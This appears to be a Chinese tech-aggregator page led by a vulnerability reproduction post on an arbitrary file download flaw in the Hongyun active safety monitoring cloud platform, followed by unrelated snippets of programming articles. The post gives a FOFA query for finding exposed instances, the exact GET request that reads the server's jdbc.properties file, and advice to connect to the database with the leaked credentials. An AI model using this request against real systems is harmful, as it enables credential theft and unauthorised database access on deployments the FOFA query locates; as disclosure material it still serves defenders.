当前位置：首页 > news >正文

漏洞复现--鸿运主动安全监控云平台任意文件下载

news 2025/9/18 0:00:42

免责声明：

**文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行
**

一：漏洞描述

深圳市强鸿电子有限公司鸿运主动安全监控云平台存在任意文件下载漏洞，攻击者可通过此漏洞获得登录账号密码，以进行后续测试。

二：漏洞影响版本

鸿运主动安全监控云平台

三：网络空间测绘查询

fofa：
body="./open/webApi.html"

四：漏洞复现

GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties

五：漏洞利用

读取到数据库账号密码，直接连接

漏洞复现--鸿运主动安全监控云平台任意文件下载

免责声明： **文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何…...

编程日记 2023/10/12 17:39:23

第二章物理层 | 计算机网络（谢希仁第八版）

文章目录第二章物理层2.1 物理层的基本概念2.2 数据通信的基础知识2.2.1 数据通信系统的模型2.2.2 有关信道的几个基本概念2.2.3 信道的极限容量 2.3 物理层下面的传输媒体2.3.1 导引型传输媒体2.3.2 非导引型传输媒体 2.4 信道复用技术2.4.1 频分复用、时分复用和统计时分复…...

编程日记 2023/10/12 17:38:21

路由高级特性

项目拓扑与项目需求项目需求某企业网络使用ospf和isis作为IGP协议实现内部网络的互联互通，区域规划和IP规划如图所示，现在要求实现如下需求： LSW1和AR1使用vlan10互联，与AR2使用vlan20互联，LSW1与LSW2、3、4之间使…...

编程日记 2023/10/12 17:37:19

【MySQL】数据库排查慢查询、死锁进程排查、预防以及解决方法

MySQL数据库排查慢查询、死锁进程及解决方法一、排查慢查询 1.1检查慢查询日志是否开启 1.1.1使用命令检查是否开启慢查询日志: SHOW VARIABLES LIKE slow_query_log;如果是 Value 为 off 则并未开启 1.1.2开启并且查看慢查询日志: MySQL提供了慢查询日志功能,可以记录所…...

编程日记 2023/10/12 17:36:17

WSL2下的Docker配置和使用

在Windows的Linux子系统（Windows Subsystem for Linux）WSL2中安装、配置和使用 Docker，可以参考官方教程：WSL上的Docker远程容器入门. 重要步骤总结如下： 先决条件确保你的计算机运行的是 Windows 10（更…...

编程日记 2023/10/12 17:35:16

污水管网水位监测，管网水位监测仪守护城市污水管网运行

万宾科技：污水管网水位监测近年来，城市化进程的加速使得污水管网建设愈发重要。然而，在管网运维中，水位监测一直以来都是一个令人头痛的难题。为了解决这一问题，万宾科技公司推出了管网水位监测仪EN200-D2&#xff0…...

编程日记 2023/10/12 17:34:14

IDEA插件版本升级和兼容新版本idea

1.关于IDEA插件的版本设置问题打开jetbrains插件市场，随意打开一个插件详情页面的Versions菜单，我们可以看见一个插件包不同时期发布的不同版本（Versions），并且每个版本包含了可兼容IDEA或PyCharm的版本范围&#xf…...

编程日记 2023/10/12 17:33:12

Docker 容器应急

容器网络简单理解容器拥有n多张veth网卡与一张docker0网卡 docker 五种网络 bridge 默认网络，Docker启动后创建一个docker0网桥，默认创建的容器也是添加到这个网桥中。host 容器不会获得一个独立的network namespace，而是与宿主机共用一个…...

编程日记 2023/10/12 17:32:11

webservice接口自动化测试

1，用soupui进行测试 2，安装soupUI 3，测试的时候是给了一个wdsl 操作步诹：new （name , 填写地址）---导入wsdl文件---看到所有的接口发送请求的格式<xml> canshu</xml> 应用场景&#xff0c…...

编程日记 2023/10/12 17:31:10

精益生产与MES生产管理系统相互融合

近年来，精益生产理念在企业管理中越来越受欢迎。它强调以最小的浪费，在最短的时间内，生产出高质量的产品。这一理念的实施手段包括准时制生产方式、适时生产方式等，消除浪费、看板、快换工装等都是精益提高的工具方针。然而&…...

编程日记 2023/10/12 17:30:10

（c语言进阶）指针的进阶

一.字符指针 1.一般应用 （1）%c的应用 （2）%s的应用字符指针没有权限通过解引用去改变指针指向的值 2.笔试题题目：判断输出结果 int main() { const char* p1 "abcdef"; const char* p2 "…...

编程日记 2023/10/12 17:29:08

用路由器远程维护三菱PLC操作指南

用路由器远程维护三菱PLC操作指南...

编程日记 2023/10/12 17:27:05

FPGA面试题（7）

一.解释一下SPI的四种模式 01时钟极性CPOL空闲状态为低电平空闲状态为高电平时钟相位CPHA在第一个跳变沿采样在第二个跳变沿采样模式CPOLCPHA描述模式000sclk上升沿采样，sclk下降沿发送模式101sclk上升沿发送，sclk下降沿采样模式210sclk上升沿发送&…...

编程日记 2023/10/12 17:26:04

Python接口自动化测试之【测试函数、测试类/测试方法的封装】

前言在pythonpytest 接口自动化系列中，我之前的文章基本都没有将代码进行封装，但实际编写自动化测试脚本中，我们都需要将测试代码进行封装，才能被测试框架识别执行。例如单个接口的请求代码如下： import requests…...

编程日记 2023/10/12 17:25:03

ROS仿真软件Turtlebot-Gazebo的安装使用以及错误处理[机器人避障]

很多时候由于机器人价格比较贵，而且会因为环境因素、操作失误或者摔坏等，所以我们可以先在仿真软件上做测试，也可以避免这些问题，虽然没有那么真实感，可毕竟是免费的嘛。我们可以在这些仿真的机器人身上去学习如何控制…...

编程日记 2023/10/12 17:22:59

把excel文件内容转化为json文件

js如何把excel文件转化为json文件呢？可以通过xlsx还有循环遍历来做第一步：安装xlsx包 npm install xlsx这里我需要转化为这种类型 {key:value,key:value,key:value, }如果需要转化为其他格式，到时候需要在循环遍历的时候灵活运用上代码…...

编程日记 2023/10/12 17:20:57

前端 - 将非 jpeg 格式图片转为 jpeg 格式、压缩图片

目录将非 jpeg 格式图片转为 jpeg 格式压缩图片使用将非 jpeg 格式图片转为 jpeg 格式 /common/compressImage/convertImage // 思路是创建一个图片，将file等于这个图片，然后创建一个canvas图层 ，将canvas等比例缩放， //然后用…...

编程日记 2023/10/12 17:19:55

随着 ChatGPT 凭借 GPT-4V(ision) 获得关注，多模态 AI 不断发展

原创 | 文 BFT机器人在不断努力让人工智能更像人类的过程中，OpenAI的GPT模型不断突破界限GPT-4现在能够接受文本和图像的提示。生成式人工智能中的多模态表示模型根据输入生成文本、图像或音频等各种输出的能力。这些模型经过特定数据的训练，学习底层模…...

编程日记 2023/10/12 17:18:54

Zookeeper-JavaApI操作

JavaApI操作 JavaApI操作1) Curator 介绍2) Curator API 常用操作a) 建立连接与CRUD基本操作b) Watch事件监听c) 分布式锁c.1) 介绍c.2) Zookeeper分布式锁原理c.3) 案例：模拟12306售票 JavaApI操作 1) Curator 介绍 Curator 是 Apache ZooKeeper 的Java客户端库。…...

编程日记 2023/10/12 17:17:53

【1】修改vue.config.js 如下修改publicPath: module.exports {publicPath:/concert,lintOnSave: false }【2】修改router/index.js base指定路由前缀： const router new VueRouter({mode: history,base: /concert, //指定路由前缀// base: process.env.BASE_…...

编程日记 2023/10/12 17:16:52